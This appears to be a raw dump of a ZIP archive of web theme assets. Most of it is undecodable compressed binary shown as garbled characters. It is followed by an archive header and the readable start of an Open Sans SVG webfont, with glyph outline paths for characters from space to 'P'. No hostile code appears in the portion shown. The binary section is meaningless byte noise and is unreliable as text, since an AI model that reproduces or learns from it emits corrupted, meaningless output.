"�����_���Wz�X��叓�Ľ;�5��I4�v��t�����m������3r����?�G�����F]&T{|)�/�>����F�K��]��3�E,�s#��ra�Z�����8��C���d�2�?���P����{mԪ�#7�����tn��5O�T���o�
��tja}��K�_=q\�X�	1�c���yX%�R.��-��Tj�9�ˊ��t���yds^^z�1n�c
܊��Ю�ժ�la@/�퇞��z�XJ.�q|K��G_I�MY�����߂1�"�+�@�z��$Z@`��̀���&�)ᨋ]�-����;�m-�e��L��W�(��j7gKS�nv@S/�1��-M"Ȑ[�n��+sp�$�.s����rݰ��0�tU��wIɖ`A�
�N����<j.�u�eD7�nÙ�ʐ
J�>4�#�UfT��>�^��d�'Ÿ�Dzٞxv�W�r^מ+o�|\�ғ����}ePf�ʡ����oҎ}y3���w}T;q�cw޷fݽw�;4��4�5�i�<;��7|�\3�}Ⱈ5��[���xe�/��Pǽ|��KV�\��l���K����Z8#�k�X���B�.�L��b��.>2��A��Jޘ�3j���˹|��q&sžtvÊ5�_'�l��n��s���{�s=��x�������@�,7nq�D��xKE�ª�ߢ:a&������Y�Q�x����
��z�ƙ��	u;����!xޅM��=�~�@xr�B¼5x��=3��)�V��<�_�%�X�����s6=�mD�x�N����T�]�ȸ�s��Q�>!m�W1e��q��s���?{��Z���+����_3(r������Јf�g6q���yڸ��m�M;�5h]bk��-�"]_�3i
<�'�3�<X0����v��gO��Avs�V��F9�V0Ө��3��U�b7ˁq �9z
a��	��ex'�9�1�X��eŴ��`_	"�-n^��FR]N0Z�U	��Ģm�)(�6͎F���	�/lz�~áQ��{�ɵ{��{�y�SƄ�l���1IDpU�	hh�!��С6#�u67.�ń],�%����=x�P��i�!0��K�n_�a.X��yIq{�7*v�h�S�d"�T�|O�,a�8�<nm0L��+k�w�Q��/��Wr�7���x���0�6�Q�P;���N����_�?�ŗ���
t����Hԁs�� �����G��
3�y$6E���`���<ʋ=g��
+���M>#^K�~_
m����3�|�������/zv���@T���ߴ���T�5���q��z�4���`{�En :,D���/��kp���nG����M�5�<���biM.g`	Dʌ,�+l�A�ӟ��#�G4����'OOjz����){8/�Т]��=A7�v��Nm߶|B��_����[��_"��Ƹ�a0,j��5�C�t�e2'q���]¤(R&���ztj����WF�^�?�u�|�ِ�����!�u�X�`�n�r�X�3�ʂ	�%b]6ɗ��66+��i�ʺL�+���W���,�D�u�S�.}��{�:�Wٔ�y�ҍ�����~R2�f�
53���n�5�=Ч�O]�u��J��:p�̟�p�[`�xi>�,R�d8A��,'E�%^��Jf�)���&*6��8h.�b�Z彆��ۡA�Q����Jq�)O�#��v�n��F?�`T��lmlآ�Ұ�ǟ�����^�ǃۣp�GH���HC{�0T��T�o�"^&��_WC�����=
#��dpMV�ܑX��u���;h�v#V����3ة��o��- b��"zP���\�.v,�)����B�X����}�V�E�i;�3��z=Z��I�D"`�Xu?޽�Z�����5	�K�����\^����zx�R�R��@�^;�?}��ƽA�`�zp_e�O��𚤇�dIq�w�_N���bɩOaS
����v���r��3ے����rqf�Ֆ��pj�e�Z�1bT�Èg���?��I�eM�U�{�}Qb�$Zl�}<��@��+��h��o�v
�Hl�߇�i��󇸏��&V�h]��ۿ��,�?dz"��Yet��t6�K{O�V�oѶk�q%��u�o�~��O��ҐG4/�d�6r!���Y�rZ��KJ�^uJ��EH.g!-��X4V��f�����9]�t�w�ZJ�aS����qU��׵X�&��(�F�����W+u��iP�}�0�v�/�s�"��ž�����G�y��^�su�Z��u��J�n��:�:��5W�K�H��"t]�w�$faa��QoS�V�g���)T=i����J%�n��JZ*Ky�4�d�f$6�C�ѭⶩtҊ�u
co����3�4�kGG�B��4y�v��;}��۵���o�ñ���VM�����<��h�HM�x~�c�`��a���V����`X}ɸ�,l�E�i��Gy�V>֚ƢJ�&3�µbY�$p�<̱¥b_M1���"�õ���ЀUn;���W��7m�w�n�&L�}n_�x�\B�N�b�߰^�2~,7L8�����N��$��
����b���`���]�x-,i(��a�:�	K�b�*�Ox�h�fL]T1u����R�e�[_8��\n���i�{TT��Z5���{���ۉ�`;�0Ռ�p�˴��Y۝����\�}���~;3�pz�z8��6�ΛQ���ª�ν+T����C���L�oN3�)�&�J�Y7�[h��#z^-S��:Y�D����f
�vÝL��X֍��r�!G���b 1`E�ui̩��B��܇�ո�<�u��W�y�y�}ӟp��;Ƶ�@���������g{����2i[G5`������f�n��:X����,���Y��"�h��$Ɔ�2��U/L�u��dbMIJL����A�51֔ͺ�v��:�D/T��a�|�栯z��~��=/n=�b�r�A�п��8�]F���ݿ���e��a�r��.��p1�	�����2���d�-J^�j�:@�$v�ak�ɲ^����ۜ�*L��,�$�?�"n��S�f�n�^�\��{��}‚���W��H��K���p)eX��t_���W�ׯ�b�n^ޓ]/����)+����W,���j�f���Q��rՌ��Y��o�w������~<�?�U�J��͒�"Nt�������c���s�y㮓�;��,�Ӆ���B$1u9�/�deu��c�9C\>���l�OV�*��F�dM�v�m��ڋt8��M�[���[O��юӮ����t�d��REu�a�{12X�,�7G��\L0�֘��Z�ep�.���M��E�[��,��q�^Ewv�*)Yh!Y5H	�iR���r5@N!�$��*X�Y,�e����K�BR)�{�be��/QOJ����
���r���,3�:�S�$^���džo��]��o�^����j����S��]s���;>�����##7e�zX���zl��q�n�wcY�>��O�ve~���s�V
�I�ap�~��U�wN�4�fٚL>�w��^gWU��3�!���Bdr��M�8"�f��a6b�O#�����4���b/�FC�w͋_�aY�UU��"�b�Vܡ��a�r���b_НI�JK����ד��퀺<�'R�9����q�%�BP�[(1���}�{^!=��%�<�b��U� �d��I~ܪ�[�K���zV!����[��s��*V�EnRܩ��~^׶������(�v�FiI���K�v<J;�u߼�y
#xj���'���)�����7�m>N�D�����]�x����ҟ�v������uEߡ>��\_ӛ �A2���@�yЉ���dK[�5��$�z�%�p�f͕!7Y�no���(F�e�*q��B;��S�`r	���L�_/�.Uo~�!}���3���)#��4��E��u���>~�E(�fpׁW|�U�0�{�U&���*k�"����`���<�{��K
-�Դ��^�i��F�j��tY�Ҩw	.���@��J�xw�`�kɰ�KFފ%��;C��Il���t�[��p_go�g7w.v`�dg�%ڙ��;g���n��7���qz���R���b�H��|.��/9��Ba��<Y�v�#J@g�݌���*��W�U� �x�T!�_�����t̀,�๙7Nzc�������� G�G'i�ҽ�nء�:���(6�9�K�B�6@�lGV�s�/Y�6�O����YK�$s[u��V�&_�;1黴}ڰ�+w�q�Νw�|�m���>���y��{�}��{�ݶ��;���N�����(��J������ݰ�c�� n�3��Q]�-̡��P���G%V$!�2���	�7���� ��M&�]҃d�e�傽.Lt�/�F��f괮�Yxj�k��׸A�X��5W_[�{��%#���ֱ�u�ʹ�`n!��b;�[ zKs��zPJ<�f!�E[�
sMb6���	��P6��Y�Z�n%�\q�Q�/U�҉G��5��-	����}˼y�,�y��aw�-����k��S�|��SW�p���#�����GϟX=�_������\?)i.���\?��c�s��"��.�:uU��I���З���v\�ℚWp1�Z#>�$>��z09YO�$_%b�Z�.w<Jua��2q"��/�c�gŃz�(|tθ�d�ŋ�UV>�Z�{{gi�B���3��HXݜ��=�����
Vtj��7V��V=�hr�
T�K�=�Z����.k�7�j��ং��⾳�������[��/��7�pKt��y�r��IG��.�H1TabG$0(�y�-�;
�"��_afeu͡Qc�<�lA�Tm��n��v��[>~�]��C�At���!F)�-�k������E����H=nrom}���7p��K��w�_;x�q}��>q��C�HF3F(�6}�q]^�H��o\��W�~�����O�6^��Eٵ����iP˒ŋ��[���2_F}4O��j��B��x��L�jҴy�m����$�4Ӵ[�'����f���E��wܩ�xHi�]�5�>���+/��;��ށ���������<is�<��3A��hq\�|.�n�D����r>X�m�٥�T{�U؜��fe�4���N,�
�br	�[d՗�ԉ�g�:&�\�G��`d�����ueI�H�
0��	P�k�V�ˬ:�~`�֕��V��XW��}:]w��O3��Ʊc��=y�ЊyC>Z�6�K�a���`=E�[�$���Gi�e��R����n<-1~���}���$��xFb�M������5�`�/��D�R<���%9���%`{�#ў�-Q'9��;X8��a�w���bѶ��)h	�[�O�=�U�rc-�k����C���]�O��ށ���Ɖ�?Y_�O��*[��sI�ˎ!R�q_b|2q�C�(���;�׮`�
�������翀�v�G����M輲���q����E�|�D#z��G��}�N��_��`�棝z8�ig�8�};s��q�*��kѣ��
�,�4޼ԑ��}	��ds[���1��D�k��m��h����k��bύ��p��cW��u�F��N?2��si�eǏ�C����G��v��d�<�kQp����<eV�R���y��Q�Xm]�C�Y�\N�	���G��I�.������A2��L��"E��xD�MG7X��cV,3��Sn^���="�ܖ@�R̘`w���{��fr'�Y:o�/�
K,2��9悲|�����w��U���y��a���'k���z�[X���cX��R��_�蕏?h�6e��������[���u�dV����'�
g��دrF�K�璟.;~��i7�K�O6�Y]-����}:29��n؉�B�Q��h�9��^x_�ڎs�Yk�d�P��׽�x�@�\G#%�vq��}��C�㠬����E��{�ٰJM,\���3P��M����:��hۋ�!Ŭ��|w<©6��!�U���^��/Y�@f.�5�����%�\�"G��4���f4OF���ā
F�(�SX���3cP��7)�nz�����f/���xL�A�z�Ϛ-��׬X9�j`A�.}���r���2��w�6���_?����=��5~���}`�X
����k�۹L�/��r��#n7nz+1~tg��É��o��ϒ���2
�"�D��)#I4e4+��n)�aVV���1u7���X\�7Ò£7RbN�2U�egl�1?� 0�_b')x��SF�U��ds�Z�8���g�D䨜̚��n5-�F�\�t:v�4�� ;��ĭt)W��lOX����'��JE)h�;��K�u�p1��\�[�/����;��j���J����6rm��qcߣ�n�q�mӞ��O�s����i����Q�Q��	��o�iݒ��;�S��g���?O�b�+п�n� �/�~����/W=C.;>���Ǐ��n��>>�<��W�Q����:��)0��v�s���珀�u�?�m`�����a70�<�((���l�5Ƴ|��?3�2$=Bf�3��4�v�7�E
��D����D�@W`�]P�g�O��\T4'���O���i�t��vV�C�������^������_n�}C�>�8�z��k�V��7d���hS��Nk�S�Ծ�g~^��[:Y-���\]H�W(gt�������N���[�qv}��?ڏN�O���9�JBHXWN�N��?�WΏ�N*�p�EG��0�[�>$ x�i3���	w뿹�55�[gs�7�;���y}.��.��L��+���f��m\�0	&��;�,�	WEvT��m�%�M���xv˿�
/��q���n3h�LM�z����L��n>�r��o��&-,[��oX�0������;T�{l]�/�C��z�_u��>��˥�s/?~��n��>>�g���#��|����&�յf�qu��z.V�nf��fj-d�`��U�|aVߊ��6��8�M��d��H�d�3�-I�ui���-Lg6��..L�zh��m��._�������5N��]��Ы}�5��l�ծ���Ob��&�'��`�nN��,�&ϋ�[K��*ޭ��>+�ƈb~���3p�aS�?�ǐ�SfR9�:���*�%-�*�yb��H.�Y�H1\}3���,nR�Qnu�1d��J�BM�zWN��i���*���$� ����r�H��d�9lr6�:��f�MD�dG�&�+M���n.rf�z�P��?�8ⱈu�b����pכ�֫���bw�"�Vx�Nj��Z�xR�R����8Q��p/��^�K�5M�D��#G˧���D�$���G��8w�޷��0?�[�u͆]��޿��q��X�%w��+;���g��&$��}	l<�Ÿї����,1���kh�$B�z�(M�P��	Dt|Q���AB+Wvl軫�m��>���^5��4a��Qz^��S>O\�b�U���E��y�>N�C$��2���3lpe��ꞕ�M��9sG���ֱ}�S5x�7
�r��IA�ld1/�Z�#xjUR�Ӱ$v���;��J)��E�o��Zʪ��.G�]f�U3M�M�eX�����Jy�4yhnuevEvѕn����9�^{�my���]O���g�������w�Sn�PÏd_`�7�/>o�>�?D�_2K߳f�q�U?n���%�I��9��=��wf?���L�q�vԨ��˜�1I��ֶ{8sFF���Q����l/�	��W;�gq�$}B
�_��1ܛ��)cwu<��O�S<o
�E�
�֒�h6U����o��]s:����n]��uc��a�Es0)1{�X$hwV;�'r��v��b�	�`�.:�+�^�6*���ou�6th#G-j�ީ��ޠ7���s�.�|���o�/F��fB��?�\��/�sQ����^3`@
w��G�^7F�
m�p�\$�c�_��0�&��gԒE�
�vRj��+�0�k"�-�q]�|o�D/��}�]|��`
m��x���c��]�&Tk���`��$H#�7_8��D�\��p��5���kj z�1�f1��E
%,*G,V��8QR�oN���O�Lj;QR�d���\I_�4/X�ǎ��G��uW��-��Y|�+�~�c�?�\��=�%����ՙ��N�1�l� 2{�P����k��֌p�Yd��j6cd�*�xj��)����f���4盖��ج��#�
O���<KI4�-)�K�)�G��+DVB剪.{�;�_Z*���5f�؉k�y���6:�A;a����I�����MGzF���e�}��+������'��n��
�t�p��5��{�k>�����L�6�[S��`2V��X��a���5�E�'Ǐj5���U�d���c��K��xxPQ�����kNL�Q9��N�)��? �8ۧ�tѢϿXT+���(�&UW�qK���nt��>p<�47�-m�^O�]q����o	�#���B�@��
����p�V�Y ��|��ۍm7�I���8���%��2���58`,x�c`d```��&��a<��Wy8Ͷ�	F���}{1���X�x�c`d`��H2���o'�:�
x�JQx�m�AhA�����ڃA�,"�B(AJ)Er+B	z�Pz(A�R$����z*9�PJ��CYbJUz9�**x��Q���o�Db��Ǜ��v�Y�>�J��	*��M7�9y��W@�=Ć��M5�I��8��i`A����Ǟj�:���ɑ#���N��:�'��=B�`>r�u�t�7J�>��{���m�4L��B��s��$��r�,s�ۘ`�{)�[��4 �d��x���3u�߿�S�@�Ζ$�*m��"�(Y��Ǵ48]8ݰ���v����K��L��Y�Ē�ѓ��-�t�z�9��u~�G��5i�?�~��I���?Α�<Sٹ� �5Ӻ������O��ul۾:fIԞ���@�]A����;�>���L��>e|����,lc(	[����u���r8�U4j��f�̤Jߌ�൱j��3�B�S?���¿�c�Qf1���fM�Y�Q��p��Wى�<���x��m�j��?��_���c�d��Kĉ·����.4����m�ԪIމI$���Ьͬ��r;����wd���x�����|x�c``Ё��E�mLbL�ݘS���w0�b�a�c�aiaY��U������vv�i�8�q��x����eŵ���w�>7��I<'x����6����k��oǟǿ����9AA=���e��_1i	����""!�#�!Z"�F����6�?�^�k$x$|$6H
H�I6H�IeH���%m& �F���+
��O��gd��u����?%�FAD�H��'E+E7�)�ߔ����(�S��,���ܢ<Ey�������*WT��Q��ʢ*�*���j�:Cu���=�'T��>PcR�Q�P���@m��u���K�7��Q?�~E�Cc���5;4�h\и��B�f�f�f�f�f���%�O�"�R�
�j�:��h��f�Vў�c��S��O������mН��O���==�<�
�ezۀ�>��&�01�1�2h3�d��`���F�A?�x�m�=n�@�?D����"��`�@M� z�GB�����BN�:�̮��Ed�j�ۙy�T�Q�P����uU)��Ej\</�—�e�x��3�����K��^81���PlB̆��Y�B]÷�ᕶ��MSݾԱt+����]~���Eb���kv����kk���49�Hw�zi����̕yZ9�P���d3�f��3w�ȿ6�c�nT-�F��g��O%%�"�kwϻ��
z�Fx�m�UlSq����u��}�]�m�
oY��;��[�
:�k.����^���n�I��+t�?o���O�y899X����/��,Da%�l���xH$�dRH%�t2�$�lr�%�|
(��b�ќ���iC[�ўt���BW4t8qQ��R��FwzГ^���~�џd��P�1��d��X�1�	Ld���T�1�
�p��q��|`=���sH���[ֲK��6�a#7x/6�r����8�]ns��d�ܧ�;��1x�#>F���'<��|g'/y�j��W61� ���j�G�G�z�,`!���b���e�`9��*V��5|��x�INq�׼��J��%^$Q�$YR$U�$]2$�Ӝ�<��Y�q�
�,�q�+�-9��V%O�@
���
j�GS��z
�C�R�5ih��ԕ�ҡt*]��[Y����c����n�á�ʊ�sd�M]J���������5�h(J�K۟�x�E�;�@`Vpy��*5h����,h�$�ހ�Dcb�g�����8�v���?� ��U��5!���(/��9�-�r��
�$���Hҧ���xk=I��K�"�@Ag�/6�b̓������@�o�o�!.�k5����^���B�Ez�!ҭ$�ڱ�_c��%#$;K��hޱ�?V�W�PK!Y>������<bluetheme/assets/fonts/OpenSans/OpenSans-Regular-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  20102011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansRegular" horiz-adv-x="1171" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="547" d="M152 106q0 136 120 136q58 0 89.5 -35t31.5 -101q0 -64 -32 -99.5t-89 -35.5q-52 0 -86 31.5t-34 103.5zM170 1462h207l-51 -1059h-105z" />
<glyph unicode="&#x22;" horiz-adv-x="821" d="M133 1462h186l-40 -528h-105zM502 1462h186l-41 -528h-104z" />
<glyph unicode="#" horiz-adv-x="1323" d="M51 430v129h287l68 340h-277v127h299l82 436h139l-82 -436h305l84 436h134l-84 -436h264v-127h-289l-66 -340h283v-129h-307l-84 -430h-137l84 430h-303l-82 -430h-136l80 430h-262zM475 559h303l66 340h-303z" />
<glyph unicode="$" d="M131 170v156q83 -37 191.5 -60.5t197.5 -23.5v440q-205 65 -287.5 151t-82.5 222q0 131 101.5 215t268.5 102v182h129v-180q184 -5 355 -74l-52 -131q-149 59 -303 70v-434q157 -50 235 -97.5t115 -109t37 -149.5q0 -136 -102 -224.5t-285 -111.5v-232h-129v223 q-112 0 -217 17.5t-172 48.5zM319 1057q0 -76 45 -122t156 -87v387q-99 -16 -150 -62.5t-51 -115.5zM649 252q217 30 217 184q0 72 -44.5 116.5t-172.5 88.5v-389z" />
<glyph unicode="%" horiz-adv-x="1686" d="M104 1026q0 227 74.5 342t220.5 115q145 0 223 -119t78 -338q0 -228 -76.5 -344.5t-224.5 -116.5q-140 0 -217.5 119t-77.5 342zM242 1026q0 -170 37 -255t120 -85q164 0 164 340q0 338 -164 338q-83 0 -120 -84t-37 -254zM365 0l811 1462h147l-811 -1462h-147zM985 440 q0 227 74.5 342t220.5 115q142 0 221.5 -117.5t79.5 -339.5q0 -227 -76.5 -343.5t-224.5 -116.5q-142 0 -218.5 119t-76.5 341zM1122 440q0 -171 37 -255.5t121 -84.5t124 83.5t40 256.5q0 171 -40 253.5t-124 82.5t-121 -82.5t-37 -253.5z" />
<glyph unicode="&#x26;" horiz-adv-x="1495" d="M113 379q0 130 69.5 230t249.5 202q-85 95 -115.5 144t-48.5 102t-18 110q0 150 98 234t273 84q162 0 255 -83.5t93 -232.5q0 -107 -68 -197.5t-225 -183.5l407 -391q56 62 89.5 145.5t56.5 182.5h168q-68 -286 -205 -434l299 -291h-229l-185 178q-118 -106 -240 -152 t-272 -46q-215 0 -333.5 106t-118.5 293zM285 383q0 -117 77.5 -185.5t206.5 -68.5q241 0 400 154l-437 424q-111 -68 -157 -112.5t-68 -95.5t-22 -116zM414 1171q0 -69 36 -131.5t123 -150.5q129 75 179.5 138.5t50.5 146.5q0 77 -51.5 125.5t-137.5 48.5q-89 0 -144.5 -48 t-55.5 -129z" />
<glyph unicode="'" horiz-adv-x="453" d="M133 1462h186l-40 -528h-105z" />
<glyph unicode="(" horiz-adv-x="606" d="M82 561q0 265 77.5 496t223.5 405h162q-144 -193 -216.5 -424t-72.5 -475q0 -240 74 -469t213 -418h-160q-147 170 -224 397t-77 488z" />
<glyph unicode=")" horiz-adv-x="606" d="M61 1462h162q147 -175 224 -406.5t77 -494.5t-77.5 -490t-223.5 -395h-160q139 188 213 417.5t74 469.5q0 244 -72.5 475t-216.5 424z" />
<glyph unicode="*" horiz-adv-x="1130" d="M86 1090l29 182l391 -111l-43 395h194l-43 -395l398 111l26 -182l-381 -31l248 -326l-172 -94l-176 362l-160 -362l-176 94l242 326z" />
<glyph unicode="+" d="M104 653v138h410v428h139v-428h412v-138h-412v-426h-139v426h-410z" />
<glyph unicode="," horiz-adv-x="502" d="M63 -264q27 104 59.5 257t45.5 245h182l15 -23q-26 -100 -75 -232.5t-102 -246.5h-125z" />
<glyph unicode="-" horiz-adv-x="659" d="M84 473v152h491v-152h-491z" />
<glyph unicode="." horiz-adv-x="545" d="M152 106q0 67 30.5 101.5t87.5 34.5q58 0 90.5 -34.5t32.5 -101.5q0 -65 -33 -100t-90 -35q-51 0 -84.5 31.5t-33.5 103.5z" />
<glyph unicode="/" horiz-adv-x="752" d="M20 0l545 1462h166l-545 -1462h-166z" />
<glyph unicode="0" d="M102 733q0 382 119 567t363 185q238 0 361.5 -193t123.5 -559q0 -379 -119.5 -566t-365.5 -187q-236 0 -359 191.5t-123 561.5zM270 733q0 -319 75 -464.5t239 -145.5q166 0 240.5 147.5t74.5 462.5t-74.5 461.5t-240.5 146.5q-164 0 -239 -144.5t-75 -463.5z" />
<glyph unicode="1" d="M188 1163l387 299h140v-1462h-162v1042q0 130 8 246q-21 -21 -47 -44t-238 -195z" />
<glyph unicode="2" d="M100 0v143l385 387q176 178 232 254t84 148t28 155q0 117 -71 185.5t-197 68.5q-91 0 -172.5 -30t-181.5 -109l-88 113q202 168 440 168q206 0 323 -105.5t117 -283.5q0 -139 -78 -275t-292 -344l-320 -313v-8h752v-154h-961z" />
<glyph unicode="3" d="M94 59v158q95 -47 202.5 -71.5t203.5 -24.5q379 0 379 297q0 266 -418 266h-144v143h146q171 0 271 75.5t100 209.5q0 107 -73.5 168t-199.5 61q-96 0 -181 -26t-194 -96l-84 112q90 71 207.5 111.5t247.5 40.5q213 0 331 -97.5t118 -267.5q0 -140 -78.5 -229 t-222.5 -119v-8q176 -22 261 -112t85 -236q0 -209 -145 -321.5t-412 -112.5q-116 0 -212.5 17.5t-187.5 61.5z" />
<glyph unicode="4" d="M43 336v145l694 989h176v-983h217v-151h-217v-336h-159v336h-711zM209 487h545v486q0 143 10 323h-8q-48 -96 -90 -159z" />
<glyph unicode="5" d="M133 59v160q70 -45 174 -70.5t205 -25.5q176 0 273.5 83t97.5 240q0 306 -375 306q-95 0 -254 -29l-86 55l55 684h727v-153h-585l-37 -439q115 23 229 23q231 0 363.5 -114.5t132.5 -313.5q0 -227 -144.5 -356t-398.5 -129q-247 0 -377 79z" />
<glyph unicode="6" d="M117 625q0 431 167.5 644.5t495.5 213.5q113 0 178 -19v-143q-77 25 -176 25q-235 0 -359 -146.5t-136 -460.5h12q110 172 348 172q197 0 310.5 -119t113.5 -323q0 -228 -124.5 -358.5t-336.5 -130.5q-227 0 -360 170.5t-133 474.5zM287 506q0 -103 40 -192t113.5 -141 t167.5 -52q142 0 220.5 89.5t78.5 258.5q0 145 -73 228t-218 83q-90 0 -165 -37t-119.5 -102t-44.5 -135z" />
<glyph unicode="7" d="M94 1309v153h973v-133l-598 -1329h-184l606 1309h-797z" />
<glyph unicode="8" d="M104 373q0 251 306 391q-138 78 -198 168.5t-60 202.5q0 159 117.5 253.5t314.5 94.5q200 0 317 -93t117 -257q0 -108 -67 -197t-214 -162q178 -85 253 -178.5t75 -216.5q0 -182 -127 -290.5t-348 -108.5q-234 0 -360 102.5t-126 290.5zM268 369q0 -120 83.5 -187 t234.5 -67q149 0 232 70t83 192q0 97 -78 172.5t-272 146.5q-149 -64 -216 -141.5t-67 -185.5zM315 1128q0 -92 59 -158t218 -132q143 60 202.5 129t59.5 161q0 101 -72.5 160.5t-199.5 59.5q-125 0 -196 -60t-71 -160z" />
<glyph unicode="9" d="M106 991q0 228 127.5 360t335.5 132q149 0 260.5 -76.5t171.5 -223t60 -345.5q0 -858 -664 -858q-116 0 -184 20v143q80 -26 182 -26q240 0 362.5 148.5t133.5 455.5h-12q-55 -83 -146 -126.5t-205 -43.5q-194 0 -308 116t-114 324zM270 993q0 -144 72 -226.5t219 -82.5 q91 0 167.5 37t120.5 101t44 134q0 105 -41 194t-114.5 140t-168.5 51q-143 0 -221 -92t-78 -256z" />
<glyph unicode=":" horiz-adv-x="545" d="M152 106q0 67 30.5 101.5t87.5 34.5q58 0 90.5 -34.5t32.5 -101.5q0 -65 -33 -100t-90 -35q-51 0 -84.5 31.5t-33.5 103.5zM152 989q0 135 118 135q123 0 123 -135q0 -65 -33 -100t-90 -35q-51 0 -84.5 31.5t-33.5 103.5z" />
<glyph unicode=";" horiz-adv-x="545" d="M63 -264q27 104 59.5 257t45.5 245h182l15 -23q-26 -100 -75 -232.5t-102 -246.5h-125zM147 989q0 135 119 135q123 0 123 -135q0 -65 -33 -100t-90 -35q-58 0 -88.5 35t-30.5 100z" />
<glyph unicode="&#x3c;" d="M104 664v98l961 479v-149l-782 -371l782 -328v-151z" />
<glyph unicode="=" d="M119 449v137h930v-137h-930zM119 858v137h930v-137h-930z" />
<glyph unicode="&#x3e;" d="M104 242v151l783 326l-783 373v149l961 -479v-98z" />
<glyph unicode="?" horiz-adv-x="879" d="M27 1384q189 99 395 99q191 0 297 -94t106 -265q0 -73 -19.5 -128.5t-57.5 -105t-164 -159.5q-101 -86 -133.5 -143t-32.5 -152v-33h-129v54q0 117 36 192.5t134 159.5q136 115 171.5 173t35.5 140q0 102 -65.5 157.5t-188.5 55.5q-79 0 -154 -18.5t-172 -67.5zM240 106 q0 136 120 136q58 0 89.5 -35t31.5 -101q0 -64 -32 -99.5t-89 -35.5q-52 0 -86 31.5t-34 103.5z" />
<glyph unicode="@" horiz-adv-x="1841" d="M121 571q0 260 107 463t305 314.5t454 111.5q215 0 382.5 -90.5t259 -257t91.5 -383.5q0 -142 -44 -260t-124 -183t-184 -65q-86 0 -145 52t-70 133h-8q-40 -87 -114.5 -136t-176.5 -49q-150 0 -234.5 102.5t-84.5 278.5q0 204 118 331.5t310 127.5q68 0 154 -12.5 t155 -34.5l-25 -470v-22q0 -178 133 -178q91 0 148 107.5t57 279.5q0 181 -74 317t-210.5 209.5t-313.5 73.5q-223 0 -388 -92.5t-252 -264t-87 -396.5q0 -305 161 -469t464 -164q210 0 436 86v-133q-192 -84 -436 -84q-363 0 -563.5 199.5t-200.5 557.5zM686 598 q0 -254 195 -254q207 0 225 313l14 261q-72 20 -157 20q-130 0 -203.5 -90t-73.5 -250z" />
<glyph unicode="A" horiz-adv-x="1296" d="M0 0l578 1468h143l575 -1468h-176l-182 465h-586l-180 -465h-172zM412 618h473l-170 453q-33 86 -68 211q-22 -96 -63 -211z" />
<glyph unicode="B" horiz-adv-x="1327" d="M201 0v1462h413q291 0 421 -87t130 -275q0 -130 -72.5 -214.5t-211.5 -109.5v-10q333 -57 333 -350q0 -196 -132.5 -306t-370.5 -110h-510zM371 145h305q177 0 266.5 68.5t89.5 214.5q0 136 -91.5 200t-278.5 64h-291v-547zM371 836h280q180 0 259 56.5t79 190.5 q0 123 -88 177.5t-280 54.5h-250v-479z" />
<glyph unicode="C" horiz-adv-x="1292" d="M125 733q0 226 84.5 396t244 262t375.5 92q230 0 402 -84l-72 -146q-166 78 -332 78q-241 0 -380.5 -160.5t-139.5 -439.5q0 -287 134.5 -443.5t383.5 -156.5q153 0 349 55v-149q-152 -57 -375 -57q-323 0 -498.5 196t-175.5 557z" />
<glyph unicode="D" horiz-adv-x="1493" d="M201 0v1462h448q341 0 530 -189t189 -528q0 -362 -196.5 -553.5t-565.5 -191.5h-405zM371 147h207q304 0 457 149.5t153 442.5q0 286 -143.5 431t-426.5 145h-247v-1168z" />
<glyph unicode="E" horiz-adv-x="1139" d="M201 0v1462h815v-151h-645v-471h606v-150h-606v-538h645v-152h-815z" />
<glyph unicode="F" horiz-adv-x="1057" d="M201 0v1462h815v-151h-645v-535h606v-151h-606v-625h-170z" />
<glyph unicode="G" horiz-adv-x="1491" d="M125 731q0 228 91.5 399.5t263.5 262t403 90.5q234 0 436 -86l-66 -150q-198 84 -381 84q-267 0 -417 -159t-150 -441q0 -296 144.5 -449t424.5 -153q152 0 297 35v450h-327v152h497v-711q-116 -37 -236 -56t-278 -19q-332 0 -517 197.5t-185 553.5z" />
<glyph unicode="H" horiz-adv-x="1511" d="M201 0v1462h170v-622h770v622h170v-1462h-170v688h-770v-688h-170z" />
<glyph unicode="I" horiz-adv-x="571" d="M201 0v1462h170v-1462h-170z" />
<glyph unicode="J" horiz-adv-x="547" d="M-160 -213q71 -20 148 -20q99 0 150.5 60t51.5 173v1462h170v-1448q0 -190 -96 -294.5t-276 -104.5q-94 0 -148 27v145z" />
<glyph unicode="K" horiz-adv-x="1257" d="M201 0v1462h170v-725l663 725h201l-588 -635l610 -827h-200l-533 709l-153 -136v-573h-170z" />
<glyph unicode="L" horiz-adv-x="1063" d="M201 0v1462h170v-1308h645v-154h-815z" />
<glyph unicode="M" horiz-adv-x="1849" d="M201 0v1462h256l463 -1206h8l467 1206h254v-1462h-170v942q0 162 14 352h-8l-500 -1294h-137l-496 1296h-8q14 -154 14 -366v-930h-157z" />
<glyph unicode="N" horiz-adv-x="1544" d="M201 0v1462h192l797 -1222h8q-2 28 -9 174q-5 114 -5 177v32v839h159v-1462h-194l-799 1227h-8q16 -216 16 -396v-831h-157z" />
<glyph unicode="O" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q315 0 492 -200t177 -552q0 -351 -177.5 -552t-493.5 -201q-323 0 -498.5 197.5t-175.5 557.5zM305 733q0 -297 126.5 -450.5t367.5 -153.5q243 0 367 153t124 451q0 295 -123.5 447.5t-365.5 152.5q-243 0 -369.5 -153.5 t-126.5 -446.5z" />
<glyph unicode="P" horiz-adv-x="1233" d="M201 0v1462h379q548 0 548 -426q0 -222 -151.5 -341.5t-433.5 -119.5h-172v-575h-170zM371 721h153q226 0 327 73t101 234q0 145 -95 216t-296 71h-190v-594z" />
